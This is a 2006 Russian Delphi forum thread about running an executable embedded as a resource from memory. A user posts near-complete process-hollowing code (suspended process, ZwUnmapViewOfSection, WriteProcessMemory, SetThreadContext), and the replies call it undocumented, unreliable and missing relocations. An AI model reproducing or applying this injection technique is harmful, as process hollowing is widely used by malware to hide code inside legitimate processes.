Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2006.12.31;
Скачать: [xml.tar.bz2];

Вниз

Как загрузить программу из resource в память и запустить её отту   Найти похожие ветки 

 
Алексей222   (2006-08-20 01:58) [0]

Как загрузить программу из resource  в память и запустить её оттуда.

Есть exe, в нем вшит модуль обновления, его необходимо вытащить из файла, загрузить в память и запустить его оттуда.

hExe := LoadLibrary(pansichar(application.exename));
hRes := FindResource(hExe, "update.exe", "update");
hResLoad := LoadResource(hExe, hRes);
lpResLock := LockResource(hResLoad);

?


 
atruhin ©   (2006-08-20 08:21) [1]

Уже обсуждалось, документированно никак, есть хакерские методы, но работоспособность не гарантированна.


 
Алексей222   (2006-08-20 09:53) [2]

Да какие уж там хакерские, все проще простого, на уровне первого года изучения delphi, если с испоьзованием rxtypes или программирования .net. А без этого как сделать.


 
Алексей222   (2006-08-20 10:19) [3]

Почему вот это дело не пашет? rxtypes в каталоге resxplorer в делфи который встроен.

program Project1;

uses
 Windows,
 sysutils,
 rxtypes in "Rxtypes.pas";

{$R ResX.res}

Var
nb, i: Cardinal;

function ZwUnmapViewOfSection(SectionHandle: THandle;
 p: Pointer): DWord; stdcall; external "ntdll.dll";

function protect(characteristics: ULONG): ULONG;
const  mapping: array [0..7] of ULONG =
 ( PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ,
   PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE,
PAGE_EXECUTE_READWRITE);
begin
 Result := mapping[characteristics shr 29];
end;

var
 pi: TProcessInformation;
 si: TStartupInfo;
 x, p, q: Pointer;
 nt: PIMAGE_NT_HEADERS;
 context: TContext;
 sect: PIMAGE_SECTION_HEADER;
begin
 si.cb := SizeOf(si);
 CreateProcess(nil, "update_m.exe", nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, si, pi);

 context.ContextFlags := CONTEXT_INTEGER;
 GetThreadContext(pi.hThread,  context);

ReadProcessMemory(pi.hProcess,
 PCHAR(context.ebx) + 8,
  @x, sizeof (x),
  nb
  );

 ZwUnmapViewOfSection(pi.hProcess, x);

 p := LockResource(LoadResource(Hinstance, FindResource(Hinstance, "update.exe", "update")));

if p = nil then exit;

 nt := PIMAGE_NT_HEADERS(PCHAR(p) + PIMAGE_DOS_HEADER(p).e_lfanew);

 q := VirtualAllocEx( pi.hProcess,
                      Pointer(nt.OptionalHeader.ImageBase),
                      nt.OptionalHeader.SizeOfImage,
                      MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);

 WriteProcessMemory(pi.hProcess, q, p, nt.OptionalHeader.SizeOfHeaders, nb);

 sect := PIMAGE_SECTION_HEADER(nt);
 Inc(PIMAGE_NT_HEADERS(sect));

 for I := 0 to nt.FileHeader.NumberOfSections - 1 do
   begin
       WriteProcessMemory(pi.hProcess,
                          PCHAR(q) + sect.VirtualAddress,
                          PCHAR(p) + sect.PointerToRawData,
                          sect.SizeOfRawData, nb);

       VirtualProtectEx( pi.hProcess,
                         PCHAR(q) + sect.VirtualAddress,
                         sect.SizeOfRawData,
                         protect(sect.Characteristics),
                         @x);
       Inc(sect);
   end;

 WriteProcessMemory(pi.hProcess, PCHAR(context.Ebx) + 8, @q, sizeof(q), nb);

 context.Eax := ULONG(q) + nt.OptionalHeader.AddressOfEntryPoint;

 SetThreadContext(pi.hThread, context);

 ResumeThread(pi.hThread);
end.


 
atruhin ©   (2006-08-20 10:29) [4]

> Да какие уж там хакерские

Не вникал в код. Но это методы не документированные Microsoft. Т.е. например могут не работать в Viste. А чем тебя не устраивает простой вариант, сохранить файл на диск и запустить?


 
Ketmar ©   (2006-08-20 13:03) [5]

> [3] Алексей222   (20.08.06 10:19)
аднака. вот и видно, что на уровне первого года. ну зачем пытаться загрузить PE руками? а если уж пытаешься, так хоть бы relocs обрабатывал...


 
Leonid Troyanovsky ©   (2006-08-20 14:19) [6]


> Алексей222   (20.08.06 10:19) [3]

> Почему вот это дело не пашет?


Найди 10 отличий.

http://groups.google.com/group/fido7.ru.delphi/msg/dbf6083b8b7fbee4

--
Regards, LVT.


 
Сергей М. ©   (2006-08-21 11:31) [7]


> Алексей222   (20.08.06 10:19) [3]
>
> Почему вот это дело не пашет?


В общем случае это и не обязано "пахать".
Да и к оригинальному вопросу это не имеет отношения.


 
Leonid Troyanovsky ©   (2006-08-21 18:48) [8]


> Сергей М. ©   (21.08.06 11:31) [7]

> Да и к оригинальному вопросу это не имеет отношения.


Некоторое, все же, имеет.
Скажем, навеяно by Gary Nebbett.

--
Regards, LVT.



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2006.12.31;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.47 MB
Время: 0.066 c
2-1165594661
Серый
2006-12-08 19:17
2006.12.31
StrigGrid


15-1165495853
sergey888
2006-12-07 15:50
2006.12.31
Сегодня побит температурный рекорд


2-1165763056
__Алексей
2006-12-10 18:04
2006.12.31
Корректная работа с записями, содержащими string.


2-1165689840
Pok
2006-12-09 21:44
2006.12.31
10040 Message too long


11-1141250469
Maloric
2006-03-02 01:01
2006.12.31
Вопрос по TKOLMemo (MCK)





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский